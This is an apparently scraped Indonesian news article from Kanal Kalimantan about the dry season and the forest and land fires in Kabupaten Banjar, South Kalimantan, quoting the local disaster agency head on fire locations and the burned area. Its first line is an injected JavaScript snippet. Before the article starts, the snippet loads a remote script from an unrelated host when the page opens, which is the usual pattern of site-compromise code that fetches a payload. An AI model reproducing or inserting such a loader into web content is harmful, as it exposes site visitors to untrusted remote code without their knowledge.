(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Beberapa daerah di Indonesia tengah mengalami masa kekeringan atau musim kemarau. Di langsir dari BMKG Provinsi Kalimantan Selatan, awal musim kemarau ditandai dengan jumlah curah hujan selama satu dasarian lebih kecil dari 5o mm dan diikuti minimal 2 (dua) daarian berikutnya secara berturut-turut. Permulaan awal musim kemarau, bisa lebih awal (Maju), sama, atau lebih lambat (mundur) dari normalnya.
Berdasarkan prakiraan musim kemarau yang disusun berdasarkan hasil pantauan kondisi fisis atmosfer dan data curah hujan yang diterima dari stasiun dan pos pengamatan curah hujan di wilayah Kalsel, untuk Kabupaten Banjar dilanda musim kemarau dari Awal Mei dan disusul awal Juli. Lantas apa saja dampak yang terjadi saat musim kemarau? Simak tiga fakta dampak musim kemarau yang terjadi di Kabupaten Banjar berikut:
Plt Kepala Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Banjar I Gusti Nyoman Yudiana mengatakan, titik-titik api di Kabupaten Banjar tersebar seperti di kawasan Desa Indra Sari Kecamatan Martapura, kawasan di belakang Polsek Desa Sungai Rangas Martapura Barat, jalan Gebernur Sarkawi Gambut, dan terakhir di Desa Tungkaran dan Desa Indrasari Kecamatan Martapura Kota.
“Kami monitor banyak sekali titik api yang di padamkan hingga sampai Agustus ini. Terakhir hingga kemarin yang ada di kawasan Tungkaran dan Indra Sari malam tadi hingga pukul 21.00 Wita api sudah kami kuasai sepenuhnya,†ujarnya.
Ditambahkan Nyoman, dalam melakukan aksi pemadaman di kawasan hutan dan lahan ini tidak hanya dilakukan oleh BPBD Kabupaten Banjar saja. Namun juga melibatkan TNI, POLRI, PMI, Satpol PP, Linmas, masyarakat dan pemadam kebakaran di Kabupaten Banjar.
Adapun kebakaran yang melanda Kabupaten Banjar sejak beberapa bulan yang lalu disinyalir diakibatkan oleh dua factor seperti oknum yang belum tertangkap dan factor alam sehingga menyebabkan tingginya angka kebakaran tersebut.
“Prediksi BMKG jika dilihat berdasarkan musim kemarau tingkat kebakaran mungkin akan terus berlanjut dan mulai menurun hingga awal September, hingga saat ini sudah ada sebanyak 225.6 hektare lahan dan hutan yang sudah terbakar di Kabupaten Banjar†sahut Nyoman.
Disamping itu Nyoman juga menghimbau kepada masyarakat untuk tidak sembarangan untuk membuang punting rokok, melakukan pembukaan lahan dengan cara pembakaran, dan jika ada titik api diharap melaporkan, sehingga pihaknya bisa menanggulangi titik api tersebut tidak menyebar dan meluas ketengah pemukiman masyarakat.
KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More
This website uses cookies.